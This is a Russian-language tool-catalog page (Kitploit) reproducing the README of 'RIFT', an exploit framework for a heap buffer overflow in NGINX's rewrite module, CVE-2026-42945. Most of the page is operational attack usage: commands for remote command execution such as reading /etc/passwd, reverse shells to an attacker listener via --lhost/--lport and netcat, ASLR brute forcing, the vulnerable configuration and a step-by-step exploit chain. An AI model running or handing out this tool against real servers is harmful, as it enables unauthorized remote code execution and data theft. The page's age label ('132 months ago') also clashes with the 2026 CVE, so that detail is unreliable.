Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42945 — В NGINX, а именно в модуле ngx_http_rewrite_module, обнаружена уязвимость. Неаутентифицированный злоумышленник может воспользоваться этой уязвимостью, отправляя специально сформированные HTTP-запросы при определённых конфигурациях rewrite. Это может привести к переполнению буфера в куче в рабочем процессе NGINX, что может привести к произвольному выполнению кода. | Kitploit
Инструменты/GitHubGitHub/aratane/cve-2026-42945
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubaratane/cve-2026-42945

CVE-2026-42945

Репозиторий
132 месяцев назадЕщё не проверено

Описание

В NGINX, а именно в модуле ngx_http_rewrite_module, обнаружена уязвимость. Неаутентифицированный злоумышленник может воспользоваться этой уязвимостью, отправляя специально сформированные HTTP-запросы при определённых конфигурациях rewrite. Это может привести к переполнению буфера в куче в рабочем процессе NGINX, что может привести к произвольному выполнению кода.

Поделиться

RIFT — Remote Injection & Fault Trigger

Автор: Michael Sanji Winaya Prawiradibrata
ИИ-соавтор: Varanus — мой друг

Фреймворк эксплойта heap buffer overflow, нацеленный на ngx_http_rewrite_module NGINX.
Один инструмент для разведки и эксплуатации. Ноль внешних зависимостей.


Содержимое репозитория

ФайлОписание
rift.pyОсновной инструмент. Объединяет recon + exploit в одном скрипте (1026 строк).
README.mdЭта документация.

Требования

  • Python 3.6+ (только stdlib — без pip, без venv, без зависимостей)

Быстрый старт

root@kitploit:~
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

Все флаги

Режимы использования

Параметры эксплойта

Параметры разведки


Ключевые возможности

✅ Автоматический reverse shell

При использовании --shell скрипт автоматически:

  1. Генерирует payload reverse shell в соответствии с --shell-type
  2. Открывает listener на --lport
  3. Отправляет эксплойт
  4. Как только worker падает → получаем shell
  5. Автоматический listener: приоритет у netcat (nc -lvnp), запасной вариант — Python listener

✅ Автоматический подбор ASLR (brute force)

Если адрес по умолчанию не сработал, скрипт автоматически сдвигает heap base на ±5 шагов × 0x10000 в поисках подходящего адреса. Ручная настройка не нужна.

✅ Несколько типов payload для reverse shell

4 типа shell payload — python, bash, nc, php. Выбирайте тот, который доступен на цели.

✅ Полная разведка

--recon выполняет 5 фаз:

  1. Fingerprint — определение версии NGINX, 15 типовых endpoint, rewrite module
  2. Info leak — адреса памяти на странице ошибки, timing side channel
  3. Endpoint test — поведение endpoint с 6 типами payload
  4. Worker count — оценка количества worker process по паттерну задержек
  5. Strategy — рекомендация действий на основе результатов анализа

✅ Вывод в JSON

--output json для интеграции с другими инструментами или автоматического парсинга.


Уязвимая конфигурация

Цель эксплойта — NGINX с конфигурацией rewrite + set, как показано ниже:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

В результате: выделенный буфер слишком мал, и URI escaping (3× расширение) приводит к переполнению.

Затронутые версии

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • Исправлено в: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Как работает эксплойт

root@kitploit:~
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

Важные константы (можно изменить в rift.py)


Полные примеры

Выполнение команды + verbose

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Свои адреса (обход ASLR)

root@kitploit:~
python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Много попыток

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Recon + JSON

root@kitploit:~
python3 rift.py --target 10.10.10.10 --recon --output json

Генерация скрипта эксплойта

root@kitploit:~
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Устранение неполадок

"Target doesn't appear to be running NGINX"

  • Проверьте порт: nc -zv <IP> 80
  • Попробуйте другой порт: --port 8080, --port 443
  • Возможно, цель находится за WAF/прокси

"All exploitation attempts failed"

  1. Возможно, ASLR активен — попробуйте --auto для автоматического подбора ASLR
  2. Возможно, версия NGINX уже пропатчена (> 1.30.1)
  3. Конфигурация NGINX может быть не уязвимой (не используется rewrite+set)
  4. Попробуйте --verbose, чтобы увидеть детали по каждой попытке

Shell не подключается

  • Проверьте локальный файрвол: sudo ufw allow 4444
  • Проверьте --lhost — убедитесь, что локальный IP указан верно
  • Попробуйте --shell-type bash или --shell-type nc

Отказ от ответственности

Создано исключительно для образовательных целей и авторизованного тестирования безопасности.
Использование против систем без разрешения незаконно.

© 2026 Michael Sanji Winaya Prawiradibrata
ИИ-соавтор: Varanus

Скачать инструмент
ФлагНазначение
--reconПолная разведка. Fingerprint → info leak → endpoint test → worker count → strategy.
--autoАвтоматические recon + exploit. То же, что --recon, затем запуск эксплойта.
--check-onlyБыстрая проверка. Определение NGINX, версии, endpoint /api/.
--cmd "command"Выполнение одной команды через system().
--shellReverse shell — автоматически открывает listener, отправляет payload, принимает соединение.
ФлагПо умолчаниюНазначение
--port80Порт цели
--lhost—Локальный IP для reverse shell (обязателен при использовании --shell)
--lport4444Локальный порт для listener
--shell-typepythonТип payload reverse shell: python, bash, nc, php
--heap-base0x555555659000Базовый адрес heap (переопределение для обхода ASLR)
--libc-base0x7ffff77ba000Базовый адрес libc
--tries10Попыток на каждый адрес-кандидат
--verbose / -v—Детальный вывод по каждой попытке
ФлагНазначение
--fingerprintОпределение версии NGINX, endpoint, rewrite module
--leakПроверка утечки информации (адреса памяти на странице ошибки, тайминги)
--test-endpointТест поведения endpoint с различными payload
--endpointПуть endpoint для тестирования (по умолчанию: /api/)
--generate-exploitГенерация отдельного скрипта эксплойта с адресом цели
--output jsonВывод JSON (machine-readable) вместе с выводом в терминал
КонстантаПо умолчаниюЗначение
BODY_LEN4000Размер тела spray (в байтах)
N_SPRAY20Количество POST-запросов на попытку
LIBC_SYSTEM_OFFSETS7 записейСмещения system() для различных дистрибутивов
PREREAD_HEAP_OFFSETS19 записейКандидаты смещений heap
DEFAULT_HEAP_BASE0x555555659000Базовый адрес heap (ASLR выкл.)
DEFAULT_LIBC_BASE0x7ffff77ba000Базовый адрес libc (ASLR выкл.)